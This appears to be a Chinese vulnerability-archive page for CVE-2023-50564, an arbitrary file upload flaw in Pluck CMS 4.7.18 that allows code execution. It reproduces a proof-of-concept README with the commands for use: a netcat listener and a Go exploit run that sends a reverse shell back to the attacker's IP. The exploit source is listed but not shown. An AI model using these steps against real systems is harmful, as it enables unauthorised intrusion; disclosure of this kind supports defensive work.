关联漏洞
标题：
Pluck 安全漏洞
(CVE-2023-50564)
描述：Pluck是一套使用PHP语言开发的内容管理系统（CMS）。 Pluck v4.7.18版本存在安全漏洞，该漏洞源于组件 /inc/modules_install.php 中存在任意文件上传漏洞，允许攻击者通过上传精心设计的 ZIP 文件来执行任意代码。
描述
CVE-2023-50564 PoC
介绍
# CVE-2023-50564
## How to use
First setup a listener for the reverse shell.
*Terminal 1*
```bash
nc -nlvp <lport>
```
Execute the script which will attempt to install a pluck module sending the reverse shell back to us.
*Terminal 2*
```bash
go run exploit.go -url <url> -password <passwd> -i <your-ip> -p <lport>
```
文件快照
[4.0K] /data/pocs/27c1022ef15d515b520582cf8e12d07c1d2c37de
├── [3.3K] exploit.go
└── [ 324] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。